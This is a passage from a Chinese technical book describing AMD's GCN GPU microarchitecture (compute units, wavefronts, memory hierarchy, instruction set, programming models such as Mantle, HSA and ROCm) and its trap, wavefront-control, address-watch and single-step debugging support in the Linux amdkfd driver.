从此,AMD大约以每年更新一次的速度向前推进GCN微架构,已
经发展了6代,其代号分别为Southern Islands(2011年)、Sea
Islands(2013年)、Volcanic Islands(2014年,GCN3)、Arctic
Islands(2016年)、Vega(2017年,GCN5)和Navi(计划2019年发
布)。
10.3.1 逻辑结构
与Terascale相比,GCN的首要目标是增加通用计算能力,不仅要很
好地支持传统的图形应用,还要支持新兴的通用计算(GPGPU)应
用。因此,GCN的改进重点是内部的通用计算单元。图10-3是来自Vega
ISA 手册的GCN5微架构逻辑框图。很容易看出,中间偏右的数据并行
处理器(Data-Parallel Processor,DPP)部分变化很大,DPP阵列外围的
部分变化不大。
虽然图10-3是逻辑图,省略了很多部件,但GCN的主要变化确实是
在DPP阵列上。为了提高通用计算能力,GCN对Terascale的SIMD核心
做了大刀阔斧的革新,并给新的核心取了一个新名字,称为计算单元
(Compute Unit),以突出其通用计算特征。
图10-3中,分四行画出了4个CU,但有省略符号表示可能有更多
CU。在每一个CU中,画了一组标量ALU(标量算术逻辑单元,
sALU)和标量寄存器(sGPR),还有四组向量ALU(向量算术逻辑单
元,vALU)和向量寄存器(vGPR)。
图10-3 GCN5微架构的逻辑框图
10.3.2 CU和波阵
下面介绍每个CU的内部结构。与SIMD核心的结构(见图10-2)相
比,CU的结构(见图10-4)变化很大。首先,每个CU包含了4个SIMD
单元,每个SIMD单元包含一个16路的向量算术逻辑单元(vALU)。除
了向量单元外,每个CU中还有1个标量单元,它包含一个整数类型的算
术逻辑单元(sALU)。sALU负责执行标量指令和流程控制指令,继承
了Terascale微架构中把流程控制逻辑独立出来的特征。概括一下,在每
个CU内部,有64个vALU,1个sALU。每个SIMD单元有64KB的寄存
器,称为vGPR。sALU有8KB的寄存器,称为sGPR。
图10-4中,左侧大约三分之一的部分称为CU前端(CU front-
end),它负责获取、解码和发射指令。为了提高vALU的利用率,每个
SIMD单元有自己的程序计数器和指令缓冲区,即图10-4中左侧4个标有
PC & IB的部分,PC和IB分别是程序计数器和指令缓冲区的缩写。每个
指令缓冲区可以容纳10个波阵(wavefront,有时简称为wave),4个指
令缓冲区共计容纳40个波阵。
图10-4 GCN微架构的CU
波阵是AMD定义的术语,相当于CUDA中的WARP,但容量大一
倍,可容纳64个线程。二者都是GPU调度线程和组织计算资源的基本单
位。从软件的角度来看,每个算核函数在多个并行的线程中同时执行,
每个线程处理自己的数据。对于硬件,一个一个地调度线程效率太低
了,解决方法是成批地调度和执行,批次多大呢?Nvidia选择了32个作
为一批,取名为Warp;AMD选择了64个作为一批,取名为波阵。
严格来讲,Warp和波阵是用来描述线程的,但是有时也用它们来
描述用以容纳调度和执行成批线程的硬件设施。比如在图10-4中,每个
PC & IB矩形中都标有10个波阵。其含义是每个指令缓冲区可以容纳 10
个波阵。指令缓冲单元不仅可以做取指和解码等准备工作,还可以执行
某些特殊指令,比如空指令(S_NOP)、同步指令(S_BARRIER)、
暂停指令(S_SETHALT)等。
可以把指令缓冲区看作一张大嘴,有了这张大嘴后,CU的吞吐能
力大大增加,可以一次吞入64×10×4 = 2560个线程。像巨蟒一样先把巨
大的食物吞到嘴里,再慢慢压进体内并消化。
按此计算,对于拥有32个CU的Radeon HD 7970显卡,同时可以运
行的线程数高达81 920个。不过,这样的线程与英特尔CPU的超线程概
念类似,虽然逻辑上有那么多个线程在解码和执行,但是它们共享后端
执行单元,实际执行速度肯定是要打折扣的。
对于每个CU,2560个逻辑线程共享内部的硬件资源。粗略计算,
内部的执行单元有不到100个(包括纹理单元),所以逻辑线程和执行
单元的比例是很悬殊的。从技术上讲,这样设计是为了提高后端执行单
元的利用率;从商业上讲,它便于产品宣传。
有趣的是,在市场宣传方面,AMD很少提及成千上万的逻辑线程
数。相反,还经常使用把每个计算单元称为一个核的方法。比如前面提
到过的Thinkpad笔记本电脑的键盘下面贴着三个徽标:AMD A10、10
Compute Cores 4 CPU + 6 GPU、RADEON dual Graphics。其中的“6
GPU”是指A10的GPU中包含6个CU核心。使用GPU-Z观察,会看到有
384个统一渲染器(Unified Shader),这与上面介绍的每个CU有64个
vALU是一致的。
10.3.3 内存层次结构
使用GPU做通用计算的典型场景是对大量的数据进行并行处理。在
计算时,需要让数量众多的计算单元可以快速访问到要计算的数据。为
此,GCN内部设计了多种类型和层次的缓存。图10-5是来自Vega指令手
册的GCN内存层次结构图,可以看到针对每个内存通道都有二级读写缓
存。在每个CU内部,设有针对纹理数据的一级读写缓存。
图10-5 GCN内存层次结构图
高速缓存可以加快GPU内部单元访问外部数据的速度。另一方面,
为了加快GPU内部各个计算单元之间的数据通信,GCN内部还配备了全
局数据存储器(Global Data Store,GDS),用于跨CU的数据交换。在
每个CU内部,配备了局部数据存储器(Local Data Store,LDS),供算
核函数中带有共享属性的变量使用,让CU内部的所有计算单元可以快
速同步数据。
10.3.4 工作组
在GCN中,多个波阵(wavefront)可以组成一个工作组
(workgroup,WP),要确保同一个工作组的波阵在同一个CU上运
行,以便于同步和共享数据。每个工作组最多包含16个波阵,也就是
16×64 = 1024个工作项(work-item)。对于同一个工作组中的多个波
阵,可以用S_BARRIER指令来同步多个波阵,当一个波阵先执行到这
条指令时,会等待其他波阵也执行到这条指令时再继续执行。图10-6形
象地描述了组织计算任务的多个单位的关系。该图来自HSA联盟(见
10.5节)发布的编程手册[3]。
图10-6 描述计算任务的多个单位
下面通过一个实例来理解工作组和GCN调度线程的基本方法。清单
10-1是通过ROCm-GDB调试器(见10.13节)观察到的某个工作组的状
态。
清单10-1 工作组状态
Information for Work-group 0
Index Wave ID {SE,SH,CU,SIMD,Wave} Work-item ID PC Source l
ine
0 0x408001c0 { 0, 0, 1, 0, 0} [0,12, 0 - 15,15, 0] 0x2a8 temp_sou
rce@line 64
1 0x408001d0 { 0, 0, 1, 1, 0} [0, 4, 0 - 15, 7, 0] 0x2a8 temp_sou
rce@line 64
2 0x408001e0 { 0, 0, 1, 2, 0} [0, 0, 0 - 15, 3, 0] 0x2a8 temp_sou
rce@line 64
3 0x408001f0 { 0, 0, 1, 3, 0} [0, 8, 0 - 15,11, 0] 0x2a8 temp_sou
rce@line 64
清单的第1行显示工作组编号(0号)。然后是一个4行(不算标题
行)多列的表格。每一行描述的是一个波阵的不同属性。
第1列是行号。第2列是波阵的硬件标识(ID),它是按照物理硬件
槽位号(hardware slot id)产生的,大括号中的数据是信息来源。其
中,SE代表渲染引擎(Shader Engine)ID,SH是渲染阵列ID,CU是计
算单元ID,SIMD是每个CU中的SIMD单元编号,最后的Wave是波阵槽
位编号,图10-4中的每个指令缓冲单元(PC & IB)可以容纳10个波
阵,这个编号代表10个位置之一。注意,清单中4行的波阵号都是0,说
明4个波阵使用的都是4个指令缓冲单元的第1个槽位。4行中的CU编号
也相同,只有SIMD单元号不同,说明属于同一个工作组的4个波阵在同
一个CU上执行,每个SIMD单元的0号槽位在执行一个波阵。第3列显示
的是工作项ID,连字符前面的三元组是起始编号,后面的三元组是截止
编号,每一行覆盖的范围刚好是64个工作项。第4列是程序指针,4行相
同,代表都执行到相同的位置。最后一列是源代码位置,@符号前是源
文件名,后面是行号。因为排版限制,清单中省略了一列,名叫Abs
Work-item ID,代表工作项的绝对ID,对于本例,与第3列数值完全相
同。
10.3.5 多执行引擎
虽然通用计算单元是GCN的重头和主角,但也不是全部。在GCN
中,也有用来支持其他应用的硬件单元。以视频应用为例,用于多媒体
解码的部分称为统一视频解码器(Unified Video Decoder,UVD)。用
于多媒体编码的部分叫视频编码引擎(Video Coding Engine,VCE)。
此外,支持显示的部分叫显示控制引擎(Display Controller Engine,
DCE)。与上面的简称对应,图形和计算阵列部分也有个统一的简称,
称为GCA(Graphic & Compute Array)。
10.4 GCN指令集
通过上一节,读者对GCN硬件应该有了基本的认识。本节继续介绍
GCN的指令集,巩固上一节的知识,并把焦点转移到软件方面。因为在
硬件结构上,GCN就把执行单元分为向量ALU和标量ALU,所以在指
令方面,GCN的指令定义也明确区分向量操作和标量操作。在GCN程
序的汇编中,大部分指令都以S或者V开头,前者代表标量(Scalar)指
令,后者代表向量(Vector)指令。
10.4.1 7种指令类型
在向量和标量两个大类的基础上,GCN又把所有指令细分为如下7
种类型[4]。
分支(branch):比如实现无条件分支的sbranch指令,实现条件分
支的s_cbranch<test>指令,还有一系列根据调试状态实现分支的
s_cbranch_cdbgxxx(见10.10节)等。
标量ALU或标量形式的内存访问:前者包括各种整数算术运算、比
较、位操作和读写硬件状态的特别指令(S_GETREG_B32、
S_SETREG_B32),后者用于访问内存,比如从内存读取数据的
S_LOAD_DOWRD指令,向内存写数据的S_STORE_DOWRD指令
等。GCN以波阵为单位执行程序,该类指令的特点是对每个波阵只
要操作一个元素。
向量ALU:向量形式的各种计算,与标量ALU不同,当执行向量
ALU指令时,一个波阵中的64个线程要各自操作自己的数据。
向量形式的内存访问:在vGPR和内存之间移动数据,把内存中的
数据读到每个线程的vGPR中,或者把vGPR中的数据写入内存中。
又分为有类型(typed)访问和无类型(untyped)访问,前者以
MTBUF开头,后者以MUBUF开头。
局部数据共享(local data share,LDS):用于访问局部共享内存,
比如指令DSREAD{B32,B64,B96,B128,U8,I8,U16,I16}可以为每个线
程读取一份对应类型和大小的数据。
全局数据共享(global data share)或者导出(export):访问全局
共享内存,或者把数据从VGPR复制到专门的输出缓冲区中,比如
把渲染好的像素以RGBA的形式输出到多个渲染目标(Multi-
Render Target,MRT)。
特殊指令(special instruction):包括空指令(S_NOP)、同步用
的屏障指令S_BARRIER、暂停和恢复的S_SETHALT等。
上述分类的一个目的是让CU前端可以根据指令类型快速处理和分
发指令。比如,特殊指令在前端就可以执行,标量计算和标量内存访问
要分发给标量单元(sALU)。所有程序流程控制使用的都是标量指
令,包括分支、循环、子函数调用和陷阱。sALU可以使用s通用寄存器
(sGPR),但是不可以使用vGPR和LDS(参见ISA手册5.2节)。相
反,vALU可以访问SGPR。
10.4.2 指令格式
GCN的指令是不等长的,为一个或两个DWORD,也就是32位或者
64位。
根据指令的特征,GCN指令有20余种格式,每种格式都有一个简
称。以S_SLEEP指令为例,其格式代号为SOPP,如图10-7所示。
图10-7 GCN的SOPP指令格式
该格式的指令都是一个DWORD。其中,低16位为立即数,最高9
位固定为0b101111111,中间7位为操作码,用于标识每一种指令,
S_SLEEP的操作码为14(0xE)。S_SLEEP指令会让当前波阵进入睡眠
状态,睡眠的时间大约为64 * SIMM16[6:0]个时钟周期 + 1~64个时钟周
期。其中,SIMM16[6:0]代表立即数部分的第0位到第6位。
10.4.3 不再是VLIW指令
上一节介绍的Terascale指令集是典型的VLIW风格,每个ALU可以
并行执行4条或者5条以VLIW格式同时发射(co-issue)的操作。但这需
要编译器在编译时就找到并行机会,产生合适的VLIW指令,否则就会
浪费硬件资源。
在GCN中,编译器直接产生低粒度的微操作指令,这样的指令会在
64个vALU上同时执行,各自操作自己的数据。这样就减小了编译器的
压力,不再把提高并行度这样的关键任务放在编译器和应用程序上。
因此,可以很放心地说,GCN的指令集不再属于VLIW,这在AMD
官方的GCN架构白皮书[4]上已经表达得非常明确。不过,或许是出于成
见,仍有人认为AMD GPU使用的指令集还是VLIW指令。
10.4.4 指令手册
在AMD的开发者网页[5]上可以下载到部分版本的GCN指令集
(ISA)手册,目前有GCN1、2、3和5版本,内容结构大体相同,都分
为13章。前4章分别介绍术语、程序组织、算核状态(寄存器等)和流
程控制,篇幅不长,加起来只有30多页,值得细读。第5~8章分别介绍
标量操作、向量操作、标量内存操作和向量内存操作。第9~11章介绍
内存层次和数据共享等深度内容。第12章为所有GCN指令的列表,分门
别类地介绍指令的操作码和操作过程。第13章介绍指令的编码格式。
10.5 编程模型
虽然AMD公司的经营业绩很不稳定,几次大起大落,但是它始终
保持着很强的开创精神,让人敬佩。在硬件方面,它率先把内存管理器
移入CPU、勇敢收购ATI并把GPU与CPU融合成APU都是很好的例子。
在软件方面,它也一直在提出新的构想,并锲而不舍地努力着。关于
GPU的编程模型,除了支持DirectX、OpenGL等业界流行的方法外,
AMD也在不断推陈出新。
10.5.1 地幔
2013年9月,多家媒体报道AMD与著名的游戏公司DICE在开发一套
新的图形API,该API可以更直接地控制硬件。这个新技术有个响亮而
且富有意义的名字——地幔(Mantle)[6]。
图10-8是来自官方编程手册[7]的架构图。实线框中的是必需的
Mantle软件组件,虚线框中的是可选的Mantle软件组件。
图10-8 地幔编程模型架构图
图10-8左下方的垂直箭头是地幔技术的关键。箭头上方是用户空
间,下方是硬件,这个粗大的箭头就好像一条高速公路,把应用程序与
GPU硬件联系起来,不需要经过很多复杂的中间层。内核是软件领域中
的政府,像地幔这样跨越政府建设快捷通道是软件领域里常用的一种优
化思路。
从2014年起,关于地幔技术的开发资料和开发包陆续发布,支持的
硬件是GCN微架构的GPU,操作系统是Windows。接下来,使用地幔技
术的游戏也陆续发布。
地幔的成功很快引起了竞争者的注意,没过多久就有其他公司也推
出了与地幔思想类似的技术,比如苹果公司在2014年6月发布了Metal技
术,微软公司在2014年3月发布了DirectX 12。与之前版本侧重改变硬件
接口不同,DirectX 12的重点就是提升CPU端的效率,与地幔的思想如
出一辙。
进入2015年后,人们对地幔未来的看法变得多样化,有人希望它加
入Linux的支持,有人希望它可以支持其他品牌的GPU。最终AMD选择
了开放,把地幔捐献给了以制定图形接口著名的Khronos组织。2015年
的GDC大会上,Khronos宣布了基于地幔衍生出的Vulkan编程接口。
Vulkan是今天仍在使用的GPU编程接口,以偏向底层和高效而著称。
10.5.2 HSA
异构计算是个古老的话题,随着GPU、多核以及NUMA这样的非对
称技术的发展,它又成为计算机系统的一个焦点问题。前面提到过,
AMD公司从2006年开始启动FUSION项目,之后收购ATI,把GPU集成
到CPU中推出APU。这期间,他们一定想到过这个问题。异构是硬件发
展的趋势,异构也应该是软件的未来。但是说来容易,做起来难,因为
涉及面太广。AMD也清楚地认识到了这一点,觉得自己势单力薄。于
是在2012年,AMD携手ARM、Imagination、Mediatek、高通和三星共
同发起并成立了名为HSA Foundation的联盟[8]。
HSA联盟的目标是让程序员可以更简单地编写并行程序。
2015年3月,HSA联盟发布了HSA标准的1.0版本,分为如下三个部
分。
HSA系统架构规约(HSA System Architecture Specification),定义
了硬件的运作规范。
HSA程序员参考手册(HSA Programmers Reference
Manual(PRM)),该部分是整个标准的核心,详细定义了名为
HSAIL 的HSA中间语言,描述了HSAIL的指令集,定义了HSA中间
语言的二进制格式(BRIG),以及构建HSA软件生态系统所需的
工具链和开发规范。
HSA运行时规约(HSA Runtime Specification),定义了应用与
HSA平台之间的接口。
在GitHub网站的HSA联盟页面上[9],可以看到与上述标准有关的一
些开源项目,有运行时的参考实现、针对HSAIL的编译器和工具以及调
试器等。但这些项目几乎都是针对AMD硬件的,开发者大多也都来自
AMD。
10.5.3 ROCm
或许AMD觉得依靠HSA联盟多方协作速度太慢,或许AMD觉得
HSA联盟的其他成员不够努力,在2015年的超算大会(SC15)上,
AMD宣布了一个新的计划,名叫玻耳兹曼宣言(Boltzmann
Initiative)。这个计划的核心项目称为ROCm,全称为Radeon Open
Compute。ROCm的目标是为AMD的Radeon GPU打造一套高效而且开放
的软件栈,为包括人工智能和超级计算在内的各种应用提供基础环境。
简单地说,ROCm旨在与CUDA正面对抗,竞争GPGPU的市场份额。
ROCm项目开始后,原本在HSA联盟上的多个项目都暂停或者转移
到了ROCm项目中。在ROCm的GitHub站点上[10],可以看到多个项目在
频繁更新,火热推进。除了核心平台外,还有名为HCC的异构设备编译
器、运行时、ROCm-GDB调试器(见10.13节)、GPU调试工具
SDK(见10.12节)、内核态驱动(ROCk,k代表kernel)等。
在ROCm的开发工具项目中[11],有一个名为HIP的工具,用于把
CUDA程序转变为可以在ROCm平台上运行的C++程序。HIP的全称
叫“供移植用的异构计算接口”(Heterogeneous- compute Interface for
Portability)。
值得说明的是,开始ROCm并不代表停止HSA。在ROCm中,很多
地方都是基于HSA规范的,而且使用了HSAIL、BRIG等核心技术。可
以认为,HSA是和伙伴们一起推动的标准,ROCm是在自己平台上的实
现,AMD在很踏实地两条腿走路。
10.5.4 Stream SDK和APP SDK
下面介绍AMD的另外两种编程模型和开发工具。一个叫ATI Stream
SDK,这是从ATI时代就开始的并行计算开发工具,是与Terascale GPU
配套的编程工具,最初版本使用的编程语言是与CUDA同源的Brook,
叫ATI Brook+。ATI Brook+工作在ATI的计算抽象层(Compute
Abstraction Layer,CAL)之上,让用户可以使用高层语言编写并行计
算程序。
不过,AMD没有一直按Brook+这个路线发展。在OpenCL出现后,
AMD选择了OpenCL,并把加入OpenCL支持的Stream SDK 2.0改名为
APP SDK。APP是加速并行处理(Accelerated Parallel Processing)的缩
写。这次改名发生在2011年前后。APP SDK发展到3.0版本后,似乎也
停止了,在AMD网站上的链接消失不见了。
10.5.5 Linux系统的驱动
在Linux内核源代码树中,有几个主要显卡厂商的驱动,其位置都
在drivers/gpu/drm/目录下。对于ATI和AMD的显卡,早期的驱动位于
radeon子目录中。2015年4月,名为AMDGPU的新驱动发布,它支持
GCN微架构的GPU。2015年9月,AMDGPU驱动进入Linux内核4.2的主
线(mainline)。
除了amdgpu目录之外,在drm目录下还有一个名叫amdkfd的目录。
简单说,这个驱动是用于支持HSA应用的,是HSA软件栈的一部分。作
者认为名字中的kfd是“内核态融合驱动”(Kernel Fusion Driver)的缩
写。终结器是HSA中的概念,需要并行的逻辑先编译为中间语言,运行
时由终结器根据实际硬件编译成目标代码并执行。
10.6 异常和陷阱
异常和陷阱机制赋予处理器飞跃的能力,是处理器报告意外和错误
情况的基本方法,也是报告调试事件的基本途径。
至少从第一代GCN微架构开始,AMD GPU内便实现了比较全面的
异常和陷阱机制。但是,公开的资料对此介绍不多,我们仅能根据有限
的资料和源代码管中窥豹,略陈概要。为了行文简略,如不特别说明,
下文都以Vega微架构(GCN5)为例。
10.6.1 9种异常
根据公开的ISA手册,在Vega微架构中,共定义了如下9种异常。
在下面的异常列表中,方括号内的数字就是二进制位的序号。
[12]:无效的指令或者操作数(invalid)。
[13]:输入的浮点数不是正规浮点数(非正规,denormal)。
[14]:浮点计算中除数为0(float_div0)。
[15]:溢出(overflow)。
[16]:向下溢出(underflow)。
[17]:浮点计算的结果不精确(inexact)。
[18]:整数计算中除数为0(int_div0)。
[19]:地址监视(address watch)。
[20]:内存访问违规(memory violation)。
其中,地址监视异常是用来监视内存访问的,与x86的硬件断点类
似,10.8节将单独介绍。
10.6.2 启用
在GCN中,有一个名为MODE的模式寄存器,一共有32位,其中有
9位是用来启用和禁止上面提到的9种异常,从第12位开始,每一位对应
一种异常。
10.6.3 陷阱状态寄存器
GCN还配备了一个陷阱状态寄存器,名叫TRAPSTS。当有异常发
生时,GCN用这个寄存器报告异常的详细情况。
TRAPSTS寄存器也是32位的,其中第0~8位用来报告刚刚发生的
是何种异常(EXCP),每一位对应上面描述的9种异常中的一种。注
意,这些位具有黏性特征,一旦置1,硬件不会自动复位为0,需要使用
软件来复位。
TRAPSTS寄存器的第10位叫作SAVECTX位,CPU端的软件可以通
过写这一位告诉GPU立即跳转到陷阱处理函数并保存上下文。陷阱处理
函数必须及时执行S_SETREG指令,清除这一位。算核函数中的代码也
可以写这一位来触发陷阱,保存上下文。
第11位(ILLEGAL_INST)用来指示检测到了非法的指令。
第12~14位(ADDR_WATCH1~3)用来指示地址监视机制的命中
情况,三个位与监视的三个地址一一对应,10.8节将介绍地址监视机
制。
当有浮点异常发生时,第16~21位(EXCP_CYCLE)向陷阱处理
函数报告异常发生在哪个时钟周期。因为执行一条浮点指令可能需要多
个时钟周期,通过这个信息,可以帮助判断浮点错误发生在浮点操作的
哪个阶段。第29~31位(DP_RATE)用来进一步描述EXCP_CYCLE字
段,细节从略,感兴趣的读者请查阅Vega指令手册的第3章(3.10
节)。
10.6.4 陷阱处理器基地址
如何告诉GCN陷阱处理函数的位置呢?在GCN中,定义了一个名
叫TBA的寄存器,其全称为陷阱基地址(Trap Base Address)。TBA是
个64位的寄存器,用来存放陷阱处理函数的入口地址。在开源的Linux
内核amdkfd中,向用户态提供了IOCTL接口,供调试器等软件来定制陷
阱处理函数。驱动中的接口函数(kfd_ioctl_set_trap_handler)会把要设
置的信息先记录下来,再通过MMIO和上下文状态保存和恢复机制(见
10.9节)间接设置到GPU的TBA寄存器中。
10.6.5 陷阱处理过程
有多种机制会触发GCN的陷阱机制,包括用户程序发起(使用
S_TRAP指令)、执行程序时遇到异常或者主机端发起。无论是何种原
因,GCN都会产生一条S_TRAP指令,然后使用统一的方式来处理。
GCN中的S_TRAP指令与x86 CPU的INT n指令非常类似,都会让处
理器跳转到异常处理程序。
下面就结合S_TRAP指令的处理过程来简要介绍GCN处理陷阱的过
程。以下是来自Vega指令手册的微操作。
TrapID = SIMM16[7:0];
Wait for all instructions to complete;
{TTMP1, TTMP0} = {3'h0, PCRewind[3:0], HT[0], TrapID[7:0],PC[47:0]};
PC = TBA; // trap base address
PRIV = 1.
其中,第1行表示把S_TRAP指令的立即数部分赋值给TrapID内部变
量。第2行表示等待所有在执行的指令完成。第3行把当前状态赋值给
TTMP1和TTMP0寄存器。TTMP0~TTMP15是特别为异常处理函数定义
的寄存器,共使用了16个标量通用寄存器,每一个都是32位的寄存器。
在第3行中,等号左侧表示把TTMP1和TTMP0拼接为一个64位的寄存
器,右侧是赋值给这个大寄存器的信息,也就是要传递给陷阱处理函数
的信息,由低到高分别如下。
第一部分表示程序计数器(PC)的当前值,共48位。
第二部分表示程序计数器回滚值(PCRewind),用来计算导致异
常的程序地址。因为当发现错误情况准备报告异常时,程序指针可
能已经指向了下一条指令,所以这个回滚值告诉异常处理器应该回
退的数量,其计算公式为:(PC−PCRewind*4),这部分的长度是4
位。
第三部分表示HT标志,1代表是主机端触发的陷阱(Host Trap),
如果是因为用户程序执行S_TRAP指令或者异常则为0,长度为1
位。
第四部分表示陷阱编号(TrapID),0为硬件保留,长度为8位。
剩下的最后3位填充为0,保留不用。
第4行代表把TBA寄存器中保存的陷阱处理程序地址赋值给程序指
针寄存器。最后一行表示把状态寄存器(STATUS)的特权位(PRIV)
置为1,因为陷阱处理程序在GCN的特权模式下执行,可以访问高特权
的资源。作者认为最后两行的位置应该颠倒一下,先置特权标志,再改
程序指针,因为修改程序指针后处理器就跳转到异常处理函数去执行
了。
10.7 控制波阵的调试接口
本节介绍AMD GPU的调试支持,首先介绍用来控制波阵的调试接
口。需要先声明一下,在公开的文档中,包括前面提到过的指令集文
档,并没有包含专门的章节来介绍调试支持,零散的信息也不多。因此
本节开始的大部分内容都主要依据开源的代码,包括Linux下的开源驱
动程序和GitHub上的开源项目。
10.7.1 5种操作
在AMD的GPGPU模型中,波阵是调度GPU执行资源的基本单位,
相当于NVIDIA的WARP。每个波阵包含64个线程,以相同步伐同时处
理64个工作项。
对于CPU,线程是CPU的基本调度单位,在调试CPU程序时,我们
经常需要对线程执行暂停(SUSPEND)、恢复(RESUME)等操作。
类似地,波阵是调度GPU的基本单位,在调试GPGPU时,也需要对波
阵执行暂停和恢复等操作。在amdkfd驱动的kfd_dbgmgr.h中,可以看到
AMD GPU支持对波阵执行5种操作:暂停、恢复、终止、进入调试模式
和跳入陷阱。下面是有关的枚举定义。
enum HSA_DBG_WAVEOP {
HSA_DBG_WAVEOP_HALT = 1, /* Halts a wavefront */
HSA_DBG_WAVEOP_RESUME = 2, /* Resumes a wavefront */
HSA_DBG_WAVEOP_KILL = 3, /* Kills a wavefront */
HSA_DBG_WAVEOP_DEBUG = 4, /* Causes wavefront to enter dbg mode */
HSA_DBG_WAVEOP_TRAP = 5, /* Causes wavefront to take a trap */
HSA_DBG_NUM_WAVEOP = 5,
};
其中,HSA_DBG_WAVEOP_DEBUG让GPU进入单步调试模式,
这将在10.9节单独介绍。
10.7.2 指定目标
某一时刻,可能有很多个波阵在GPU上执行,上述操作命令可以发
给指定的某个波阵,也可以发给当前被调试进程的所有波阵,或者广播
给当前进程所在计算单元上的所有波阵。下面是在同一个头文件中定义
的发送模式。
enum HSA_DBG_WAVEMODE {
/* send command to a single wave */
HSA_DBG_WAVEMODE_SINGLE = 0,
/*
* Broadcast to all wavefronts of all processes is not supported for HS
A user mode
*/
/* send to waves within current process */
HSA_DBG_WAVEMODE_BROADCAST_PROCESS = 2,
/* send to waves within current process on CU */
HSA_DBG_WAVEMODE_BROADCAST_PROCESS_CU = 3,
HSA_DBG_NUM_WAVEMODE = 3,
};
中间有一种数值为2的模式代表发给所有进程的所有波阵。但是把
这个定义隐藏了,原因是不允许用户态调试器发送这样的命令。
10.7.3 发送接口
AMDKFD驱动公开了一个IOCTL形式的接口给用户空间的调试器
程序,源程序文件为kfd_chardev.c。控制码
AMDKFD_IOC_DBG_WAVE_CONTROL用来调用波阵控制。用户空间
的程序需要传递下面这个结构体作为参数。
struct dbg_wave_control_info {
struct kfd_process *process;
uint32_t trapId;
enum HSA_DBG_WAVEOP operand;
enum HSA_DBG_WAVEMODE mode;
struct HsaDbgWaveMessage dbgWave_msg;
};
最后一个成员用来指定操作目标的“地理”信息,其定义与硬件版本
相关,目前使用的是AMDGen2版本。
union HsaDbgWaveMessageAMD {
struct HsaDbgWaveMsgAMDGen2 WaveMsgInfoGen2;
};
其详细定义如清单10-2所示。
清单10-2 用于指定硬件目标的波阵控制消息结构体
struct HsaDbgWaveMsgAMDGen2 {
union {
struct ui32 {
uint32_t UserData:8; /* user data */
uint32_t ShaderArray:1; /* Shader array */
uint32_t Priv:1; /* Privileged */
uint32_t Reserved0:4; /* Reserved, should be 0 */
uint32_t WaveId:4; /* wave id */
uint32_t SIMD:2; /* SIMD id */
uint32_t HSACU:4; /* Compute unit */
uint32_t ShaderEngine:2;/* Shader engine */
uint32_t MessageType:2; /* see HSA_DBG_WAVEMSG_TYPE */
uint32_t Reserved1:4; /* Reserved, should be 0 */
} ui32;
uint32_t Value;
};
uint32_t Reserved2;
};
回忆我们在介绍工作组状态时使用的清单10-1,当时的波阵ID信息
与清单10-2所定义的结构体有很多关联之处。
10.7.4 限制
值得说明的是,上述机制依赖GPU的硬件实现,而且不是所有版本
的AMD GPU都支持这些功能。比如多个函数中都有下面这样的检查,
如果发现是不支持的硬件,则会报告错误并返回。
if (dev->device_info->asic_family == CHIP_CARRIZO) {
pr_debug("kfd_ioctl_dbg_wave_control not supported on CZ\n");
return -EINVAL;
}
上面代码中的CARRIZO是指2015年发布的APU产品,可能是因为
产品瑕疵禁止了控制功能。
10.8 地址监视
在调试CPU程序时,可以通过设置监视点(watch point)来监视变
量访问。监视点的实现有多种方法,比如使用x86 CPU的调试寄存器是
一种常用的方法。
为了能够监视GPU程序中的变量访问,AMD GPU提供了很强大的
地址监视(address watch)机制。
10.8.1 4种监视模式
回忆x86 CPU的调试寄存器定义,硬件监视的原始访问模式有三
种:读、写和执行。在AMD GPU中,监视的原始访问方式也有三种,
不过是读、写和原子操作。
GPU程序具有非常高的并行度,同步是个大问题。为了减小软件开
发者的负担,AMD GPU中定义了很多具有原子特征的指令,比如
FLAT_ATOMIC_ADD(原子方式加)、
FLAT_ATOMIC_CMPSWAP(比较并交换)、
FLAT_ATOMIC_SWAP(交换)、FLAT_ATOMIC_UMAX(无符号最
大值)、FLAT_ATOMIC_SMAX(有符号最大值)、
FLAT_ATOMIC_INC(递增)、FLAT_ATOMIC_DEC(递减)等。上
面三种访问方式中的原子操作就是指这些原子指令所执行的操作。
在调试时,要监视一个变量,除了指定变量地址外,还希望能指定
它的访问方式,比如有些变量频繁被读取,但是我们可能只关心写入它
时的情况。为此,在前面提到过的kfd_dbgmgr.h中,定义了4种监视模式
给调试器使用:“仅读”“非读”“仅原子”和“所有”。其枚举定义如下。
enum HSA_DBG_WATCH_MODE {
HSA_DBG_WATCH_READ = 0, /* Read operations only */
HSA_DBG_WATCH_NONREAD = 1, /* Write or Atomic operations only */
HSA_DBG_WATCH_ATOMIC = 2, /* Atomic Operations only */
HSA_DBG_WATCH_ALL = 3, /* Read, Write or Atomic operations */
HSA_DBG_WATCH_NUM,
};
10.8.2 数量限制
与x86的硬件断点有数量限制一样,GCN的地址监视机制也是有数
量限制的。根据ISA手册和AMDGPU驱动的源代码
(amdgpu_amdkfd_gfx_v7.h),其数量限制也是4个。
enum {
MAX_TRAPID = 8, /* 3 bits in the bitfield. */
MAX_WATCH_ADDRESSES = 4
};
10.8.3 报告命中
当监视点命中时,GCN会设置陷阱状态寄存器(TRAPSTS)中的
第7位(EXCP[7]),并设置第12~14位(ADDR_WATCH1~3)来报
告4个监视地址中命中的是哪一个或者哪几个,然后通过陷阱机制,跳
转到陷阱处理函数。
10.8.4 寄存器接口
根据AMDGPU驱动中的代码,可以通过MMIO寄存器来配置地址监
视机制。GPU为每个要监视的地址定义了三个32位的寄存器,分别是地
址的高32位部分、低32位部分和控制属性,比如下面三个常量宏是为0
号监视定义的。
mmTCP_WATCH0_ADDR_H,
mmTCP_WATCH0_ADDR_L,
mmTCP_WATCH0_CNTL
amdgpu驱动中的kgd_address_watch_execute和
kgd_address_watch_disable函数分别用来启用监视点和禁止监视点,其
核心代码用于设置上述MMIO寄存器。
10.8.5 用户空间接口
与波阵控制类似,用户空间可以通过IOCTL机制来调用amdkfd驱动
中的地址监视管理函数,其控制码为
AMDKFD_IOC_DBG_ADDRESS_WATCH。
10.9 单步调试支持
单步跟踪是最经典的调试方法之一。源代码级别的单步跟踪常常依
赖于汇编指令一级的单步机制,而汇编指令级别的单步机制往往都基于
处理器的硬件支持。比如,x86 CPU的陷阱标志位就是用来支持单步跟
踪的。GCN微架构也毫不例外地设计了类似的设施。
10.9.1 单步调试模式
在GCN的模式寄存器(MODE)中,有一个DEBUG位(第11
位)。当该位为1时,GCN每次执行完一条指令后,都会发起异常,跳
转到陷阱处理函数,但程序结束指令(S_ENDPGM)除外。
GCN发起单步异常的另一个条件是陷阱机制是启用的,也就是状态
